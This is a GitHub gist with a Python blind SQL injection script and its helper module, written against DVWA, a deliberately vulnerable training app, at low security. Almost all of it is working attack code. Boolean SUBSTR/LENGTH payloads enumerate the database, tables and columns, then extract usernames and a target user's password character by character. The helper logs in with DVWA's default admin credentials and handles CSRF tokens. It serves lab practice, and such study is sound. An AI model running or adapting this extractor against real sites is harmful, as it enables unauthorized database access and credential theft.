Last active
October 25, 2022 21:30
-
-
Save StackZeroSec/b776699193bee3f1e05450d6a812ea00 to your computer and use it in GitHub Desktop.
The script to perform blind sql injection to DVWA low security
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from utils import * | |
def get_query_result(s, sqli_blind_url, query, *args): | |
try: | |
concrete_query = query.format(*args) | |
response = s.get(f"{sqli_blind_url}?id={concrete_query}&Submit=Submit#") | |
parser = DVWASQLiResponseParser(response) | |
return parser.check_presence("exist") | |
except AttributeError as e: | |
return False | |
if __name__ == "__main__": | |
BASE_URL = "http://10.10.154.7" | |
sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind" | |
with DVWASessionProxy(BASE_URL) as s: | |
s.security = SecurityLevel.LOW | |
query = "1' AND LENGTH(DATABASE()) = {} %23" | |
length = 0 | |
for i in range(10): | |
if get_query_result(s, sqli_blind_url, query, i): | |
print(f"[+] The DB's name length is {i}") | |
length = i | |
query = "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}'%23" | |
dbname = [] | |
for i in range(1, length+1): | |
for c in string.ascii_lowercase: | |
if get_query_result(s, sqli_blind_url, query, i, c): | |
dbname.append(c) | |
break | |
dbname = "".join(dbname) | |
print(f'[+] Found a database with name: {dbname}') | |
query = "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}'%23" | |
n_tables = 0 | |
for i in range(1, 10): | |
if get_query_result(s, sqli_blind_url, query, dbname, i): | |
print(f"[+] It has {i} tables") | |
n_tables = i | |
break | |
query = "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}'%23" | |
found_tables = [[] for _ in range(n_tables)] | |
completion = "" | |
for i in range(n_tables): | |
for j in range(1, 10): | |
for c in string.ascii_lowercase: | |
if get_query_result(s, sqli_blind_url, query, dbname, completion, j, c): | |
found_tables[i].append(c) | |
break | |
print("\t","".join(found_tables[i])) | |
completion += f" AND table_name <> '{''.join(found_tables[i])}'" | |
users_table = input("Type the tabname to attack: ") | |
query = "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}'%23" | |
n_columns = 0 | |
for i in range(1, 10): | |
if get_query_result(s, sqli_blind_url, query, users_table, i): | |
print(f"[+] It has {i} columns") | |
n_columns = i | |
break | |
query = "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}'%23" | |
found_columns = [[] for _ in range(n_columns)] | |
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns") | |
try: | |
for i in range(n_columns): | |
for j in range(1, 12): | |
for c in string.ascii_lowercase: | |
if get_query_result(s, sqli_blind_url, query, users_table, i, j, c): | |
found_columns[i].append(c) | |
break | |
print("\t","".join(found_columns[i])) | |
except KeyboardInterrupt as e: | |
print("\nSkipping this phase!") | |
users_column = input("Type the name of the column containing usernames: ") | |
passwords_column = input("Type the name of the column containing passwords: ") | |
query = "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}'%23" | |
found_users = [[] for _ in range(10)] | |
print("[!] In order to speed up, try to press CTRL+C when you find the target user") | |
try: | |
for i in range(10): | |
for j in range(1, 12): | |
for c in string.ascii_letters+string.digits: | |
if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, c): | |
found_users[i].append(c) | |
break | |
print("|","_"*10,"".join(found_users[i])) | |
except KeyboardInterrupt as e: | |
print("\n Skipping this phase!") | |
username = input("Type the name of the target user: ") | |
query = "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={}%23" | |
pwd_length = 0 | |
for i in range(100): | |
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, i ): | |
pwd_length = i | |
print(f"[+] The password length is: {i}") | |
query = "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}'%23" | |
password = [] | |
for j in range(1, pwd_length+1): | |
for c in string.ascii_letters+string.digits: | |
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, j, c): | |
password.append(c) | |
break | |
print("[+] Password is: ","".join(password)) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
from enum import Enum | |
import string | |
class SecurityLevel(Enum): | |
LOW = "low" | |
MEDIUM = "medium" | |
HIGH = "high" | |
IMPOSSIBLE = "impossible" | |
class CSRFManager: | |
@staticmethod | |
def set_csrf_token(func): | |
def wrapper(*args, **kwargs): | |
user_token = CSRFManager.get_token(args[0]._session, args[0].url) | |
if user_token != None: | |
args[0].user_token = user_token["value"] | |
return func(*args, **kwargs) | |
return wrapper | |
@staticmethod | |
def get_token(session:requests.Session, url:str): | |
response = session.get(url) | |
soup = BeautifulSoup(response.text, 'html.parser') | |
user_token = soup.find("input", {"name": "user_token"}) | |
return user_token | |
class DVWASessionProxy: | |
login_data = { | |
"username": "admin", | |
"password": "password", | |
"Login": "Login" | |
} | |
def __init__(self, url): | |
super().__init__() | |
self._session = requests.Session() | |
self.url = f"{url}/login.php" | |
self.data = {} | |
@property | |
def security(self): | |
return self._session.cookies.get_dict()["security"] | |
@security.setter | |
def security(self, security_level): | |
self._session.cookies.pop("security") | |
self._session.cookies.set("security", security_level.value) | |
@property | |
def user_token(self): | |
return self.data["user_token"] | |
@user_token.setter | |
def user_token(self, value): | |
self.data["user_token"] = value | |
def __enter__(self): | |
response = self.login(self.url, data= {**self.data, **DVWASessionProxy.login_data}) | |
return self | |
def get(self, url ,headers=None, params=None): | |
response = self._session.get(url, headers=headers, params=params) | |
self.url = response.url | |
return response | |
@CSRFManager.set_csrf_token | |
def login(self, url, headers=None, data=None): | |
response = self._session.post(url, headers=headers, data={**self.data, **data}) | |
def post(self, url ,headers=None, data=None): | |
response = self._session.post(url, headers=headers, data=data) | |
return response | |
def __exit__(self, exc_type, exc_val, exc_tb): | |
self._session.close() | |
class DVWASQLiResponseParser: | |
def __init__(self, response): | |
self.response = response | |
def get_interesting_value(self): | |
soup = BeautifulSoup(self.response.content, 'html.parser') | |
interesting_value = soup.find("pre") | |
return interesting_value | |
def check_presence(self, string): | |
return string in self.get_interesting_value().text |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment